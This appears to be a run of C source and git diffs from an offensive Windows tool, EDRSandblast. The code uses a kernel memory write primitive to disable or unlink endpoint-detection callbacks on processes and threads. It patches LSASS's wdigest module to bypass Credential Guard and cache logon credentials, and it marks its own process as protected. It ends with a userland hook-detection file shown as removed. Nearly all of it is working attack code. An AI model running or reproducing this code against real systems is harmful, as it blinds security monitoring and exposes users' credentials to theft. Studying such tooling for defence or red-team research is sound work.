EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, TRUE);
}
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
WriteMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled, enable ? TRUE : FALSE);
}
}
}
/*
* ------- CallbackList unlinking strategy --------
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE can be emptied by making it point to itself
* However, if the kernel memory write primitive used to overwrite a pointer is not "atomic" (e.g. the RTCore64 driver's writes 2 DWORDs successively), there
* is a high risk of race condition where the CallbackList is used by the system while one of its pointers is only partial overwritten (thus invalid), which
* is likely to result in a crash.
* Handle creation/duplication for processes and threads being very frequent, this strategy is thus risky in some cases.
*/
/*
* Count callbacks set on Process & Thread handle manipulation, but is unnable to differentiate EDR-related callbacks from potentially legitimate ones
* Depends only on documented symbols
*/
SIZE_T CountProcessAndThreadObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return 0;
}
SIZE_T nbCallbacks = 0;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry + offsetof(LIST_ENTRY, Flink))) {
nbCallbacks++;
ObjectTypesSubjectToCallback[i].nbCallbacks++;
}
_tprintf_or_not(TEXT("Counting %llu registered callbacks for %s\n"), ObjectTypesSubjectToCallback[i].nbCallbacks, ObjectTypesSubjectToCallback[i].name);
}
return nbCallbacks;
}
/*
* Unlink all process and thread handle callbacks (EDR related or not)
* (no critical system component should be in these list anyway)
*/
void RemoveAllProcessAndThreadObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
if (ObjectTypesSubjectToCallback[i].nbCallbacks) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
ObjectTypesSubjectToCallback[i].callbackListAddress = ObjectType_Callbacks_List;
ObjectTypesSubjectToCallback[i].callbackListFlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
ObjectTypesSubjectToCallback[i].callbackListBlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink));
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink), ObjectType_Callbacks_List);
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink), ObjectType_Callbacks_List);
_tprintf_or_not(TEXT("Unlinked the callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
}
}
_putts_or_not(TEXT(""));
}
/*
* Re-link all process and thread handle callbacks that were unlinked
*/
void RestoreAllProcessAndThreadObjectsCallbacks() {
GetAdditionnalObjectCallbackOffsets();
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
if (ObjectTypesSubjectToCallback[i].callbackListAddress && ObjectTypesSubjectToCallback[i].nbCallbacks) {
DWORD64 callbackListAddress = ObjectTypesSubjectToCallback[i].callbackListAddress;
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Flink), ObjectTypesSubjectToCallback[i].callbackListFlinkBackup);
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Blink), ObjectTypesSubjectToCallback[i].callbackListBlinkBackup);
_tprintf_or_not(TEXT("Re-linked the original callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
}
}
_putts_or_not(TEXT(""));
}
/*
* ------- CallbackList unlinking strategy END --------
*/
/*
* ------- SupportCallbacks bit strategy --------
*/
/*
* Enables/Disables Callback support for processes and threads entirely. The "SupportsObjectCallbacks" field of _OBJECT_TYPE being checked by ObpCreateHandle before checking if CallbackList
* is not empty (and before listing & calling the callbacks). No callback support, no callbacks.
* WARNING : This flag is actually checked by PatchGuard ! There is a risk that PatchGuard will notice a change, even if temporary, and cause a BSOD.
*/
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
GetAdditionnalObjectCallbackOffsets();
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
if (enable) {
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit;
}
else {
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit;
}
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
}
_putts_or_not(TEXT(""));
}
BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSubjCb) {
GetAdditionnalObjectCallbackOffsets();
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0;
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
return enable;
}
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled() {
BOOL enabled = FALSE;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
enabled |= AreObjectsCallbacksSupportEnabled(ObjectTypesSubjectToCallback[i]);
}
return enabled;
}
/*
* ------- SupportCallbacks bit strategy --------
*/
+30 -29
View File
@@ -4,6 +4,7 @@
#include <tlhelp32.h>
#include <Tchar.h>
#include "../EDRSandblast.h"
#include "WdigestOffsets.h"
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
@@ -17,14 +18,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
_putts_or_not(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)"));
return 1;
}
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
_putts_or_not(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
@@ -38,21 +39,21 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
CloseHandle(hProcessSnap);
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
_putts_or_not(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process"));
return 1;
}
// Open an handle to the LSASS process.
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
return 1;
}
HMODULE hModulesArray[512] = { 0 };
DWORD lpcbNeeded;
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
CloseHandle(hLsass);
return 1;
}
@@ -61,14 +62,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
TCHAR szModulename[MAX_PATH];
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, _countof(szModulename))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
continue;
}
if (_tcsstr(szModulename, TEXT("wdigest"))) {
MODULEINFO moduleInfo = { 0 };
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
continue;
}
@@ -84,87 +85,87 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
* Setting g_fParameter_UseLogonCredential to 0x1.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_fParameter_UseLogonCredential;
DWORD useLogonCredentialPatch = 0x1;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != useLogonCredentialPatch) {
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == useLogonCredentialPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
_putts_or_not(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!"));
}
_tprintf(TEXT("\n\n"));
_putts_or_not(TEXT("\n"));
/*
* Setting g_IsCredGuardEnabled to 0x0.
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_IsCredGuardEnabled;
DWORD isCredGuardEnabledPatch = 0x0;
currentValue = 0x0;
bytesRead = 0;
bytesWritten = 0;
DWORD oldMemoryProtection = 0x0;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_IsCredGuardEnabled at 0x%I64x\n"), credGuardEnabledAddress);
_putts_or_not(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE"));
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
break;
}
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != isCredGuardEnabledPatch) {
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == isCredGuardEnabledPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
_putts_or_not(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!"));
}
DWORD newMemoryProtection = 0x0;
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
}
else {
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
_putts_or_not(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value"));
}
_tprintf(TEXT("\n\n"));
_putts_or_not(TEXT("\n"));
returnStatus = TRUE;
+16 -21
View File
@@ -6,8 +6,10 @@
*/
#include <tchar.h>
#include "../EDRSandblast.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
#include "Undoc.h"
#include "RunAsPPL.h"
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
@@ -17,19 +19,19 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
// Open an handle to our own process.
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
if (verbose) {
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
_tprintf_or_not(TEXT("[*] [ProcessProtection] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
}
// Retrieves the native NtQuerySystemInformation function from ntdll.
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
if (!hNtdll) {
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process"));
return 0x0;
}
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process"));
return 0x0;
}
@@ -42,7 +44,7 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
if (!pHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process"));
return 0x0;
}
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
@@ -50,14 +52,14 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
SystemHandleInformationSize = SystemHandleInformationSize * 2;
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
if (!tmpHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process"));
return 0x0;
}
pHandleTableInformation = tmpHandleTableInformation;
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
}
if (!NT_SUCCESS(status)) {
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process"));
return 0x0;
}
@@ -71,13 +73,10 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
continue;
}
if (verbose) {
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
}
if (handleInfo.HandleValue == (USHORT)((ULONG_PTR)selfProcessHandle)) {
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found the handle of the current process (PID: %hu): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
returnAddress = (DWORD64)handleInfo.Object;
break;
}
}
free(pHandleTableInformation);
@@ -86,24 +85,20 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
}
int SetCurrentProcessAsProtected(BOOL verbose) {
HANDLE Device = GetDriverHandle();
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
if (processEPROCESSAddress == 0x0) {
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
CloseHandle(Device);
_putts_or_not(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect"));
return -1;
}
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + g_ntoskrnlOffsets.st.eprocess_protection;
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.eprocess_protection;
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
CloseHandle(Device);
_tprintf_or_not(TEXT("[*] [ProcessProtection] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
WriteMemoryWORD(processSignatureLevelAddress, flagPPLWinTcb);
return 0;
}
-685
View File
@@ -1,685 +0,0 @@
/*
* All the logic that detects, resolves, patch userland hooks and other related structures
*/
#include <Windows.h>
#include <PathCch.h>
#include <stdio.h>
#include "UserlandHooks.h"
#include "PEBBrowse.h"
#include "Undoc.h"
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
int debugf(const char* fmt, ...) {
#if _DEBUG
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
#else
fmt = 0;
return 0;
#endif
}
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
diff* diffsList = malloc(diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
}
}
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
diff* list = NULL;
